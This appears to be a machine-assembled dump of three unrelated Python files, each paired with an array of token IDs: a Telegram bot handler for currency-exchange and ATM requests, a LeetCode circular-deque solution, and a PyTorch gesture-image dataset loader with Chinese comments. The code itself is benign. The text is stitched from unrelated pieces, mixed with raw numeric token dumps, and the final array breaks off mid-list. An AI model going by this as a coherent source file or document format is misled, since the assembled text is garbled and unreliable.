from traceback import print_exc from aiogram import types from aiogram.dispatcher import FSMContext from loader import dp, bot from states import Request from keyboards import create_kb_coustom_main_menu from utils import get_data_to_show # from create_request.py @dp.callback_query_handler(state=Request.operation_type) async def set_operation_type ( call:types.CallbackQuery, state:FSMContext ): await call.answer() await call.message.delete() print(call.data) if call.data == 'get_in' \ or call.data == 'get_out' \ or call.data == 'cash_in_ATM': await state.update_data(operation_type=call.data) currencies__how_much = [] await state.update_data ( currencies__how_much = currencies__how_much ) result = await bot.send_message ( chat_id = call.message.chat.id, text='введите сумму:' ) await state.update_data(_del_message = result.message_id) await Request.temp_sum_state.set() # to temp_sum_message_handler.py elif call.data == 'change': await state.update_data(operation_type=call.data) await state.update_data(currencies__recive=[]) await state.update_data(currencies__give=[]) await state.update_data(plus_minus='no') result = await call.message.answer(f'Сколько принимаем?') await state.update_data(_del_message = result.message_id) await Request.how_much_recive.set() # to how_much_recive.py elif call.data == 'cash_out_ATM': await state.update_data(operation_type='cash_out_ATM') # request_data = await state.get_data() # text, keyboard = get_data_to_show(request_data) # await call.message.answer(text, reply_markup=keyboard) currencies__how_much = [] await state.update_data ( currencies__how_much = currencies__how_much ) result = await bot.send_message ( chat_id = call.message.chat.id, text='введите сумму:' ) await state.update_data(_del_message = result.message_id) await Request.temp_sum_state.set() # to temp_sum_message_handler.py # await Request.type_end.set() # to final_step_ordering.py elif call.data == 'documents': await state.update_data(operation_type=call.data) request_data = await state.get_data() result_data_to_show, keyboard = get_data_to_show(request_data) await call.message.answer(text=result_data_to_show, reply_markup=keyboard) await Request.type_end.set() return else: await call.answer() await call.message.answer ( f'Создание заявки отменено. Испльзуйте меню\n===========', reply_markup=create_kb_coustom_main_menu(call.message.chat.id) ) await state.finish()
[ 1, 515, 9637, 1627, 1053, 1596, 29918, 735, 29883, 13, 3166, 7468, 13342, 1053, 4072, 13, 3166, 7468, 13342, 29889, 13369, 261, 1053, 383, 17061, 2677, 13, 13, 3166, 23466, 1053, 270, 29886, 29892, 9225, 13, 3166, 5922, 1053, 10729, 13, 3166, 1820, 24691, 1053, 1653, 29918, 21066, 29918, 16589, 303, 290, 29918, 3396, 29918, 6510, 13, 3166, 3667, 29879, 1053, 679, 29918, 1272, 29918, 517, 29918, 4294, 13, 13, 13, 29937, 515, 1653, 29918, 3827, 29889, 2272, 13, 29992, 6099, 29889, 14035, 29918, 1972, 29918, 13789, 29898, 3859, 29922, 3089, 29889, 16453, 29918, 1853, 29897, 13, 12674, 822, 731, 29918, 16453, 29918, 1853, 313, 13, 1678, 1246, 29901, 8768, 29889, 10717, 3010, 29892, 13, 1678, 2106, 29901, 9998, 29924, 2677, 13, 1125, 259, 13, 1678, 7272, 1246, 29889, 12011, 580, 13, 1678, 7272, 1246, 29889, 4906, 29889, 8143, 580, 13, 13, 1678, 1596, 29898, 4804, 29889, 1272, 29897, 13, 13, 1678, 565, 1246, 29889, 1272, 1275, 525, 657, 29918, 262, 29915, 29871, 320, 13, 1678, 470, 1246, 29889, 1272, 1275, 525, 657, 29918, 449, 29915, 320, 13, 1678, 470, 1246, 29889, 1272, 1275, 525, 29883, 1161, 29918, 262, 29918, 1299, 29924, 2396, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 16453, 29918, 1853, 29922, 4804, 29889, 1272, 29897, 13, 13, 4706, 16256, 15942, 1649, 3525, 29918, 29885, 987, 353, 5159, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 313, 13, 9651, 16256, 15942, 1649, 3525, 29918, 29885, 987, 353, 16256, 15942, 1649, 3525, 29918, 29885, 987, 13, 4706, 1723, 13, 13, 4706, 1121, 353, 7272, 9225, 29889, 6717, 29918, 4906, 313, 13, 9651, 13563, 29918, 333, 353, 1246, 29889, 4906, 29889, 13496, 29889, 333, 29892, 13, 9651, 1426, 2433, 29942, 1521, 956, 730, 3404, 29959, 1805, 11283, 13, 4706, 1723, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 7373, 6144, 29918, 4906, 353, 1121, 29889, 4906, 29918, 333, 29897, 13, 13, 4706, 7272, 10729, 29889, 7382, 29918, 2083, 29918, 3859, 29889, 842, 580, 13, 4706, 396, 304, 5694, 29918, 2083, 29918, 4906, 29918, 13789, 29889, 2272, 259, 13, 13, 1678, 25342, 1246, 29889, 1272, 1275, 525, 3167, 2396, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 16453, 29918, 1853, 29922, 4804, 29889, 1272, 29897, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 21962, 15942, 1649, 4361, 345, 11759, 2314, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 21962, 15942, 1649, 29887, 573, 11759, 2314, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 11242, 29918, 12254, 2433, 1217, 1495, 13, 4706, 1121, 353, 7272, 1246, 29889, 4906, 29889, 12011, 29898, 29888, 29915, 30008, 551, 9298, 1695, 7949, 3098, 29973, 1495, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 7373, 6144, 29918, 4906, 353, 1121, 29889, 4906, 29918, 333, 29897, 13, 4706, 7272, 10729, 29889, 3525, 29918, 29885, 987, 29918, 4361, 345, 29889, 842, 580, 13, 4706, 396, 304, 920, 29918, 29885, 987, 29918, 4361, 345, 29889, 2272, 13, 13, 1678, 25342, 1246, 29889, 1272, 1275, 525, 29883, 1161, 29918, 449, 29918, 1299, 29924, 2396, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 16453, 29918, 1853, 2433, 29883, 1161, 29918, 449, 29918, 1299, 29924, 1495, 13, 4706, 396, 2009, 29918, 1272, 353, 7272, 2106, 29889, 657, 29918, 1272, 580, 13, 13, 4706, 396, 1426, 29892, 12247, 353, 679, 29918, 1272, 29918, 517, 29918, 4294, 29898, 3827, 29918, 1272, 29897, 13, 13, 4706, 396, 7272, 1246, 29889, 4906, 29889, 12011, 29898, 726, 29892, 8908, 29918, 3502, 786, 29922, 1989, 3377, 29897, 13, 4706, 16256, 15942, 1649, 3525, 29918, 29885, 987, 353, 5159, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 313, 13, 9651, 16256, 15942, 1649, 3525, 29918, 29885, 987, 353, 16256, 15942, 1649, 3525, 29918, 29885, 987, 13, 4706, 1723, 13, 13, 4706, 1121, 353, 7272, 9225, 29889, 6717, 29918, 4906, 313, 13, 9651, 13563, 29918, 333, 353, 1246, 29889, 4906, 29889, 13496, 29889, 333, 29892, 13, 9651, 1426, 2433, 29942, 1521, 956, 730, 3404, 29959, 1805, 11283, 13, 4706, 1723, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 7373, 6144, 29918, 4906, 353, 1121, 29889, 4906, 29918, 333, 29897, 13, 13, 4706, 7272, 10729, 29889, 7382, 29918, 2083, 29918, 3859, 29889, 842, 580, 13, 4706, 396, 304, 5694, 29918, 2083, 29918, 4906, 29918, 13789, 29889, 2272, 13, 13, 4706, 396, 7272, 10729, 29889, 1853, 29918, 355, 29889, 842, 580, 13, 4706, 396, 304, 2186, 29918, 10568, 29918, 2098, 292, 29889, 2272, 13, 13, 1678, 25342, 1246, 29889, 1272, 1275, 525, 3225, 29879, 2396, 13, 4706, 7272, 2106, 29889, 5504, 29918, 1272, 29898, 16453, 29918, 1853, 29922, 4804, 29889, 1272, 29897, 13, 13, 4706, 2009, 29918, 1272, 353, 7272, 2106, 29889, 657, 29918, 1272, 580, 13, 4706, 1121, 29918, 1272, 29918, 517, 29918, 4294, 29892, 12247, 353, 679, 29918, 1272, 29918, 517, 29918, 4294, 29898, 3827, 29918, 1272, 29897, 13, 13, 4706, 7272, 1246, 29889, 4906, 29889, 12011, 29898, 726, 29922, 2914, 29918, 1272, 29918, 517, 29918, 4294, 29892, 8908, 29918, 3502, 786, 29922, 1989, 3377, 29897, 13, 13, 4706, 7272, 10729, 29889, 1853, 29918, 355, 29889, 842, 580, 13, 13, 4706, 736, 13, 13, 1678, 1683, 29901, 13, 4706, 7272, 1246, 29889, 12011, 580, 13, 4706, 7272, 1246, 29889, 4906, 29889, 12011, 313, 13, 9651, 285, 29915, 30008, 29904, 8728, 1755, 1077, 15432, 717, 1685, 17859, 570, 29889, 23695, 29964, 693, 3923, 29977, 730, 26831, 30005, 29905, 29876, 4936, 25512, 742, 13, 9651, 8908, 29918, 3502, 786, 29922, 3258, 29918, 21066, 29918, 16589, 303, 290, 29918, 3396, 29918, 6510, 29898, 4804, 29889, 4906, 29889, 13496, 29889, 333, 29897, 13, 4706, 1723, 13, 4706, 7272, 2106, 29889, 4951, 728, 580, 13, 2 ]
Python3/0641-Design-Circular-Deque/soln.py
wyaadarsh/LeetCode-Solutions
5
133583
class MyCircularDeque: def __init__(self, k: int): """ Initialize your data structure here. Set the size of the deque to be k. """ self.nums = [0] * k self.k = k self.size = 0 self.front = -1 self.back = 0 def insertFront(self, value: int) -> bool: """ Adds an item at the front of Deque. Return true if the operation is successful. """ if not self.isFull(): self.size += 1 self.front = (self.front + 1) % self.k self.nums[self.front] = value return True else: return False def insertLast(self, value: int) -> bool: """ Adds an item at the rear of Deque. Return true if the operation is successful. """ if not self.isFull(): self.size += 1 self.back -= 1 if self.back < 0: self.back += self.k self.nums[self.back] = value return True else: return False def deleteFront(self) -> bool: """ Deletes an item from the front of Deque. Return true if the operation is successful. """ if not self.isEmpty(): self.size -= 1 self.front = self.front - 1 if self.front < 0: self.front += self.k return True else: return False def deleteLast(self) -> bool: """ Deletes an item from the rear of Deque. Return true if the operation is successful. """ if not self.isEmpty(): self.size -= 1 self.back = (self.back + 1) % self.k return True else: return False def getFront(self) -> int: """ Get the front item from the deque. """ return self.nums[self.front] if not self.isEmpty() else -1 def getRear(self) -> int: """ Get the last item from the deque. """ return self.nums[self.back] if not self.isEmpty() else -1 def isEmpty(self) -> bool: """ Checks whether the circular deque is empty or not. """ return not self.size def isFull(self) -> bool: """ Checks whether the circular deque is full or not. """ return self.size == self.k # Your MyCircularDeque object will be instantiated and called as such: # obj = MyCircularDeque(k) # param_1 = obj.insertFront(value) # param_2 = obj.insertLast(value) # param_3 = obj.deleteFront() # param_4 = obj.deleteLast() # param_5 = obj.getFront() # param_6 = obj.getRear() # param_7 = obj.isEmpty() # param_8 = obj.isFull()
[ 1, 770, 1619, 23495, 1070, 2772, 802, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 413, 29901, 938, 1125, 13, 4706, 9995, 13, 4706, 25455, 596, 848, 3829, 1244, 29889, 3789, 278, 2159, 310, 278, 316, 802, 304, 367, 413, 29889, 13, 4706, 9995, 13, 4706, 1583, 29889, 1949, 29879, 353, 518, 29900, 29962, 334, 413, 13, 4706, 1583, 29889, 29895, 353, 413, 13, 4706, 1583, 29889, 2311, 353, 29871, 29900, 13, 4706, 1583, 29889, 8862, 353, 448, 29896, 13, 4706, 1583, 29889, 1627, 353, 29871, 29900, 13, 308, 13, 13, 1678, 822, 4635, 29348, 29898, 1311, 29892, 995, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 3462, 29879, 385, 2944, 472, 278, 4565, 310, 897, 802, 29889, 7106, 1565, 565, 278, 5858, 338, 9150, 29889, 13, 4706, 9995, 13, 4706, 565, 451, 1583, 29889, 275, 13658, 7295, 13, 9651, 1583, 29889, 2311, 4619, 29871, 29896, 13, 9651, 1583, 29889, 8862, 353, 313, 1311, 29889, 8862, 718, 29871, 29896, 29897, 1273, 1583, 29889, 29895, 13, 9651, 1583, 29889, 1949, 29879, 29961, 1311, 29889, 8862, 29962, 353, 995, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 308, 13, 13, 1678, 822, 4635, 8897, 29898, 1311, 29892, 995, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 3462, 29879, 385, 2944, 472, 278, 18983, 310, 897, 802, 29889, 7106, 1565, 565, 278, 5858, 338, 9150, 29889, 13, 4706, 9995, 13, 4706, 565, 451, 1583, 29889, 275, 13658, 7295, 13, 9651, 1583, 29889, 2311, 4619, 29871, 29896, 13, 9651, 1583, 29889, 1627, 22361, 29871, 29896, 13, 9651, 565, 1583, 29889, 1627, 529, 29871, 29900, 29901, 13, 18884, 1583, 29889, 1627, 4619, 1583, 29889, 29895, 13, 9651, 1583, 29889, 1949, 29879, 29961, 1311, 29889, 1627, 29962, 353, 995, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 308, 13, 13, 1678, 822, 5217, 29348, 29898, 1311, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 897, 1026, 267, 385, 2944, 515, 278, 4565, 310, 897, 802, 29889, 7106, 1565, 565, 278, 5858, 338, 9150, 29889, 13, 4706, 9995, 13, 4706, 565, 451, 1583, 29889, 24326, 7295, 13, 9651, 1583, 29889, 2311, 22361, 29871, 29896, 13, 9651, 1583, 29889, 8862, 353, 1583, 29889, 8862, 448, 29871, 29896, 13, 9651, 565, 1583, 29889, 8862, 529, 29871, 29900, 29901, 13, 18884, 1583, 29889, 8862, 4619, 1583, 29889, 29895, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 308, 13, 13, 1678, 822, 5217, 8897, 29898, 1311, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 897, 1026, 267, 385, 2944, 515, 278, 18983, 310, 897, 802, 29889, 7106, 1565, 565, 278, 5858, 338, 9150, 29889, 13, 4706, 9995, 13, 4706, 565, 451, 1583, 29889, 24326, 7295, 13, 9651, 1583, 29889, 2311, 22361, 29871, 29896, 13, 9651, 1583, 29889, 1627, 353, 313, 1311, 29889, 1627, 718, 29871, 29896, 29897, 1273, 1583, 29889, 29895, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 308, 13, 13, 1678, 822, 679, 29348, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 9995, 13, 4706, 3617, 278, 4565, 2944, 515, 278, 316, 802, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 1949, 29879, 29961, 1311, 29889, 8862, 29962, 565, 451, 1583, 29889, 24326, 580, 1683, 448, 29896, 13, 308, 13, 13, 1678, 822, 679, 29934, 799, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 9995, 13, 4706, 3617, 278, 1833, 2944, 515, 278, 316, 802, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 1949, 29879, 29961, 1311, 29889, 1627, 29962, 565, 451, 1583, 29889, 24326, 580, 1683, 448, 29896, 13, 308, 13, 13, 1678, 822, 338, 8915, 29898, 1311, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 5399, 29879, 3692, 278, 19308, 316, 802, 338, 4069, 470, 451, 29889, 13, 4706, 9995, 13, 4706, 736, 451, 1583, 29889, 2311, 13, 308, 13, 13, 1678, 822, 338, 13658, 29898, 1311, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 5399, 29879, 3692, 278, 19308, 316, 802, 338, 2989, 470, 451, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 2311, 1275, 1583, 29889, 29895, 13, 308, 13, 13, 13, 29937, 3575, 1619, 23495, 1070, 2772, 802, 1203, 674, 367, 13213, 630, 322, 2000, 408, 1316, 29901, 13, 29937, 5446, 353, 1619, 23495, 1070, 2772, 802, 29898, 29895, 29897, 13, 29937, 1828, 29918, 29896, 353, 5446, 29889, 7851, 29348, 29898, 1767, 29897, 13, 29937, 1828, 29918, 29906, 353, 5446, 29889, 7851, 8897, 29898, 1767, 29897, 13, 29937, 1828, 29918, 29941, 353, 5446, 29889, 8143, 29348, 580, 13, 29937, 1828, 29918, 29946, 353, 5446, 29889, 8143, 8897, 580, 13, 29937, 1828, 29918, 29945, 353, 5446, 29889, 657, 29348, 580, 13, 29937, 1828, 29918, 29953, 353, 5446, 29889, 657, 29934, 799, 580, 13, 29937, 1828, 29918, 29955, 353, 5446, 29889, 24326, 580, 13, 29937, 1828, 29918, 29947, 353, 5446, 29889, 275, 13658, 580, 13, 2 ]
Dataloaders/GestureDataSet.py
XLPRUtils/XLPR_Classification
2
62073
<filename>Dataloaders/GestureDataSet.py # -*- coding:utf-8 -*- import os from PIL import Image from torch.utils import data from torchvision import transforms import torch import torch.nn.functional as F from torch.autograd import Variable import numpy as np import random import matplotlib.pyplot as plt import json import albumentations import cv2 # 数据增强包 from albumentations import ( Compose,Resize,OneOf,RandomBrightness,RandomContrast,MotionBlur,MedianBlur, GaussianBlur,VerticalFlip,HorizontalFlip,ShiftScaleRotate,Normalize, ) class GestureDataSet(data.Dataset): def __init__(self, dataset_path='/home/hly/GestureData/', split='train'): # 初始化参数,可以根据情况修改 self.root_path = dataset_path # 数据集路径 self.size = [64, 64] # resize尺寸,[h,w] self.split = split # 选取什么集[train/val/test] self.transform = False # 是否进行数据增强,默认只有训练集增强 self.train_ratio = 0.8 # 培训集拆分训练集、测试比例 self.CLASS = 6 # 类别数 # 根据split读取数据集对应txt索引文件 if split == 'test': self.data = open(os.path.join(self.root_path, 'test.txt'), 'r').readlines() else: self.data = open(os.path.join(self.root_path, 'train.txt'), 'r').readlines() # 根据self.train_ratio切分训练集和验证集,如果是训练集开启数据增强 if split == 'train': self.data = self.data[:int(len(self.data)*self.train_ratio)] self.transform = True else: self.data = self.data[int(len(self.data) * self.train_ratio):] # pytorch数据转换器,zero-标准化默认使用VOC的均值和方差,也可以通过mean_std.py计算数据集的均值和方差并替换 # 若数据集分布本身极不符合类正态分布,加入标准会则会降低精度 self.transforms_data = transforms.Compose([ transforms.ToTensor(), # transforms.Normalize([0.485,0.456,0.406], [0.229,0.224,0.225]), ]) # 数据列表存入self.data中 def __getitem__(self, index): # 根据index索引值读取对应数据的图片路径和标签 data_path, target = os.path.join(self.root_path, self.data[index][9:-1]).split(' ') # 读取图片并resize尺寸 image = cv2.imread(data_path) image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) image = cv2.resize(image, (self.size[1], self.size[0]), interpolation=cv2.INTER_LINEAR) # 如果是训练集进行数据增强,详细增强可以查看albumentations_transform if self.transform: image = self.albumentations_transform(image) image = self.transforms_data(image) # 标准格式转换 target = int(target) # 返回单个数据的数据和标签,type(tensor) return image, target def __len__(self): # 定义数据集的大小 return len(self.data) def data_distribution(self): number = [0] * self.CLASS for k in self.data: type = int(k[-2:-1]) number[type] += 1 labels = [str(i) for i in range(self.CLASS)] # 画图 plt.pie(x=number, labels=labels) # 展示 plt.show() # 数据增强函数 def albumentations_transform(self, img): # 训练集的增强 trans_train = Compose([ # 随机更改输入图像的色相,饱和度和值 # HueSaturationValue(hue_shift_limit=20, sat_shift_limit=30, val_shift_limit=20, always_apply=False, p=0.5), # 通过用255减去像素值来反转输入图像。 # InvertImg(always_apply=False, p=1), # 随机改变RGB三个通道的顺序 # ChannelShuffle(always_apply=False, p=0.5), # 随机出现小黑点 # Cutout(num_holes=8, max_h_size=8, max_w_size=8, fill_value=0, always_apply=False, p=0.5), # RandomCrop(224, 224), OneOf([RandomBrightness(limit=0.1, p=1), RandomContrast(limit=0.1, p=1)]), # OneOf([MotionBlur(blur_limit=3),MedianBlur(blur_limit=3), GaussianBlur(blur_limit=3),], p=0.5,), VerticalFlip(p=0.5), HorizontalFlip(p=0.5), # ShiftScaleRotate( # shift_limit=0.2, # scale_limit=0.2, # rotate_limit=20, # interpolation=cv2.INTER_LINEAR, # border_mode=cv2.BORDER_REFLECT_101, # p=1, # ), ]) augmented = trans_train(image=img) return augmented['image'] if __name__ == '__main__': dataset = GestureDataSet(split='train') train_data_loader = torch.utils.data.DataLoader(dataset, batch_size=16, shuffle=True, drop_last=True, num_workers=10) # 输出DataSet的大小,以及DataLoader的大小 print(len(dataset),train_data_loader.__len__()) # # 可视化图像 # for _, (data, targets) in enumerate(train_data_loader): # print(_, data.shape, targets.shape, targets) # fig = plt.figure() # for i in range(16): # ax = fig.add_subplot(4, 4, i+1) # plt.axis('off') # 去掉每个子图的坐标轴 # plt.imshow(data[i].permute(1,2,0)) # plt.subplots_adjust(wspace=0, hspace=0) # 修改子图之间的间隔 # plt.show() # break # 数据分布统计 dataset.data_distribution()
[ 1, 529, 9507, 29958, 29928, 2075, 29877, 24574, 29914, 24110, 28449, 29889, 2272, 13, 29937, 448, 29930, 29899, 14137, 29901, 9420, 29899, 29947, 448, 29930, 29899, 30004, 13, 5215, 2897, 30004, 13, 3166, 349, 6227, 1053, 7084, 30004, 13, 3166, 4842, 305, 29889, 13239, 1053, 848, 30004, 13, 3166, 4842, 305, 4924, 1053, 4327, 29879, 30004, 13, 5215, 4842, 305, 30004, 13, 5215, 4842, 305, 29889, 15755, 29889, 2220, 284, 408, 383, 30004, 13, 3166, 4842, 305, 29889, 1300, 468, 3665, 1053, 28736, 30004, 13, 5215, 12655, 408, 7442, 30004, 13, 5215, 4036, 30004, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 30004, 13, 5215, 4390, 30004, 13, 5215, 27234, 942, 800, 30004, 13, 5215, 13850, 29906, 30004, 13, 30004, 13, 29937, 29871, 30354, 30763, 232, 165, 161, 232, 191, 189, 31473, 30004, 13, 3166, 27234, 942, 800, 1053, 313, 30004, 13, 259, 3831, 852, 29892, 1666, 675, 29892, 6716, 2776, 29892, 17875, 29933, 1266, 2264, 29892, 17875, 1168, 509, 579, 29892, 29924, 8194, 10358, 332, 29892, 19302, 713, 10358, 332, 11167, 13, 259, 22477, 10358, 332, 29892, 29270, 29943, 3466, 29892, 24932, 29943, 3466, 29892, 29657, 17185, 21281, 403, 29892, 19077, 675, 11167, 13, 8443, 13, 30004, 13, 30004, 13, 1990, 19817, 545, 28449, 29898, 1272, 29889, 16390, 24541, 1125, 30004, 13, 30004, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 29918, 2084, 2433, 29914, 5184, 29914, 29882, 368, 29914, 24110, 1469, 29914, 742, 6219, 2433, 14968, 29374, 30004, 13, 30004, 13, 4706, 396, 29871, 31120, 31020, 30705, 31125, 30354, 30214, 30682, 30651, 31393, 30763, 30993, 232, 137, 184, 31273, 31264, 30004, 13, 4706, 1583, 29889, 4632, 29918, 2084, 353, 8783, 29918, 2084, 396, 29871, 30354, 30763, 30893, 30874, 232, 193, 135, 30004, 13, 4706, 1583, 29889, 2311, 353, 518, 29953, 29946, 29892, 29871, 29953, 29946, 29962, 396, 19490, 232, 179, 189, 232, 178, 187, 17094, 29882, 29892, 29893, 29962, 30004, 13, 4706, 1583, 29889, 5451, 353, 6219, 396, 29871, 31333, 30683, 231, 190, 131, 31882, 30893, 29961, 14968, 29914, 791, 29914, 1688, 29962, 30004, 13, 4706, 1583, 29889, 9067, 353, 7700, 396, 29871, 30392, 31191, 31174, 30448, 30354, 30763, 232, 165, 161, 232, 191, 189, 30214, 31735, 31439, 31557, 30417, 235, 177, 176, 234, 190, 134, 30893, 232, 165, 161, 232, 191, 189, 30004, 13, 4706, 1583, 29889, 14968, 29918, 3605, 601, 353, 29871, 29900, 29889, 29947, 396, 29871, 232, 162, 188, 235, 177, 176, 30893, 233, 142, 137, 30748, 235, 177, 176, 234, 190, 134, 30893, 30330, 31851, 31787, 31419, 31507, 30004, 13, 4706, 1583, 29889, 13875, 1799, 353, 29871, 29953, 396, 29871, 30832, 232, 139, 174, 30354, 30004, 13, 30004, 13, 4706, 396, 29871, 31393, 30763, 5451, 235, 178, 190, 30683, 30354, 30763, 30893, 30783, 31370, 3945, 31836, 31674, 30333, 30631, 30004, 13, 4706, 565, 6219, 1275, 525, 1688, 2396, 30004, 13, 9651, 1583, 29889, 1272, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4632, 29918, 2084, 29892, 525, 1688, 29889, 3945, 5477, 525, 29878, 2824, 949, 9012, 26471, 13, 30004, 13, 4706, 1683, 29901, 30004, 13, 9651, 1583, 29889, 1272, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4632, 29918, 2084, 29892, 525, 14968, 29889, 3945, 5477, 525, 29878, 2824, 949, 9012, 26471, 13, 9651, 396, 29871, 31393, 30763, 1311, 29889, 14968, 29918, 3605, 601, 31757, 30748, 235, 177, 176, 234, 190, 134, 30893, 30503, 236, 173, 143, 235, 178, 132, 30893, 30214, 30847, 30801, 30392, 235, 177, 176, 234, 190, 134, 30893, 31026, 232, 147, 178, 30354, 30763, 232, 165, 161, 232, 191, 189, 30004, 13, 9651, 565, 6219, 1275, 525, 14968, 2396, 30004, 13, 18884, 1583, 29889, 1272, 353, 1583, 29889, 1272, 7503, 524, 29898, 2435, 29898, 1311, 29889, 1272, 11877, 1311, 29889, 14968, 29918, 3605, 601, 4638, 30004, 13, 18884, 1583, 29889, 9067, 353, 5852, 30004, 13, 9651, 1683, 29901, 30004, 13, 18884, 1583, 29889, 1272, 353, 1583, 29889, 1272, 29961, 524, 29898, 2435, 29898, 1311, 29889, 1272, 29897, 334, 1583, 29889, 14968, 29918, 3605, 601, 1125, 29962, 30004, 13, 30004, 13, 4706, 396, 282, 3637, 25350, 30354, 30763, 31415, 31640, 30943, 30214, 9171, 29899, 31062, 232, 138, 137, 30705, 31735, 31439, 30785, 30406, 29963, 20166, 30210, 232, 160, 138, 30959, 30503, 30525, 232, 186, 177, 30214, 30953, 30682, 30651, 30768, 31138, 12676, 29918, 4172, 29889, 2272, 31466, 31565, 30354, 30763, 30893, 30210, 232, 160, 138, 30959, 30503, 30525, 232, 186, 177, 31666, 233, 158, 194, 31640, 30004, 13, 4706, 396, 29871, 31653, 30354, 30763, 30893, 30748, 31454, 30346, 31687, 233, 161, 132, 30413, 31277, 30733, 30832, 30724, 31613, 30748, 31454, 30214, 30666, 30752, 31062, 232, 138, 137, 30437, 31403, 30437, 236, 156, 144, 231, 192, 145, 234, 181, 193, 30898, 30004, 13, 4706, 1583, 29889, 9067, 29879, 29918, 1272, 353, 4327, 29879, 29889, 1523, 4220, 4197, 30004, 13, 9651, 4327, 29879, 29889, 1762, 29911, 6073, 3285, 30004, 13, 9651, 396, 4327, 29879, 29889, 19077, 675, 4197, 29900, 29889, 29946, 29947, 29945, 29892, 29900, 29889, 29946, 29945, 29953, 29892, 29900, 29889, 29946, 29900, 29953, 1402, 518, 29900, 29889, 29906, 29906, 29929, 29892, 29900, 29889, 29906, 29906, 29946, 29892, 29900, 29889, 29906, 29906, 29945, 11724, 30004, 13, 308, 2314, 30004, 13, 1678, 396, 29871, 30354, 30763, 31025, 30746, 30946, 30752, 1311, 29889, 1272, 30275, 30004, 13, 1678, 822, 4770, 657, 667, 12035, 1311, 29892, 2380, 1125, 30004, 13, 4706, 396, 29871, 31393, 30763, 2248, 31836, 31674, 30959, 235, 178, 190, 30683, 30783, 31370, 30354, 30763, 30210, 30861, 31122, 30874, 232, 193, 135, 30503, 31062, 234, 176, 193, 30004, 13, 4706, 848, 29918, 2084, 29892, 3646, 353, 2897, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4632, 29918, 2084, 29892, 1583, 29889, 1272, 29961, 2248, 3816, 29929, 13018, 29896, 14664, 5451, 877, 525, 8443, 13, 4706, 396, 29871, 235, 178, 190, 30683, 30861, 31122, 31666, 21476, 232, 179, 189, 232, 178, 187, 30004, 13, 4706, 1967, 353, 13850, 29906, 29889, 326, 949, 29898, 1272, 29918, 2084, 8443, 13, 4706, 1967, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 3027, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 28212, 29906, 29933, 14345, 8443, 13, 4706, 1967, 353, 13850, 29906, 29889, 21476, 29898, 3027, 29892, 313, 1311, 29889, 2311, 29961, 29896, 1402, 1583, 29889, 2311, 29961, 29900, 11724, 29694, 29922, 11023, 29906, 29889, 23845, 29918, 18521, 1718, 8443, 13, 4706, 396, 29871, 30847, 30801, 30392, 235, 177, 176, 234, 190, 134, 30893, 31174, 30448, 30354, 30763, 232, 165, 161, 232, 191, 189, 30214, 235, 178, 169, 234, 190, 137, 232, 165, 161, 232, 191, 189, 30682, 30651, 31213, 31811, 284, 29890, 942, 800, 29918, 9067, 30004, 13, 4706, 565, 1583, 29889, 9067, 29901, 30004, 13, 9651, 1967, 353, 1583, 29889, 284, 29890, 942, 800, 29918, 9067, 29898, 3027, 8443, 13, 4706, 1967, 353, 1583, 29889, 9067, 29879, 29918, 1272, 29898, 3027, 8443, 13, 4706, 396, 29871, 31062, 232, 138, 137, 31168, 30607, 31415, 31640, 30004, 13, 4706, 3646, 353, 938, 29898, 5182, 8443, 13, 30004, 13, 4706, 396, 29871, 31086, 30742, 31166, 30502, 30354, 30763, 30210, 30354, 30763, 30503, 31062, 234, 176, 193, 30214, 1853, 29898, 20158, 8443, 13, 4706, 736, 1967, 29892, 3646, 30004, 13, 30004, 13, 1678, 822, 4770, 2435, 12035, 1311, 1125, 30004, 13, 4706, 396, 29871, 30495, 31349, 30354, 30763, 30893, 30210, 30257, 30446, 30004, 13, 4706, 736, 7431, 29898, 1311, 29889, 1272, 8443, 13, 30004, 13, 1678, 822, 848, 29918, 27691, 29898, 1311, 1125, 30004, 13, 4706, 1353, 353, 518, 29900, 29962, 334, 1583, 29889, 13875, 1799, 30004, 13, 4706, 363, 413, 297, 1583, 29889, 1272, 29901, 30004, 13, 9651, 1134, 353, 938, 29898, 29895, 14352, 29906, 13018, 29896, 2314, 30004, 13, 9651, 1353, 29961, 1853, 29962, 4619, 29871, 29896, 30004, 13, 30004, 13, 4706, 11073, 353, 518, 710, 29898, 29875, 29897, 363, 474, 297, 3464, 29898, 1311, 29889, 13875, 1799, 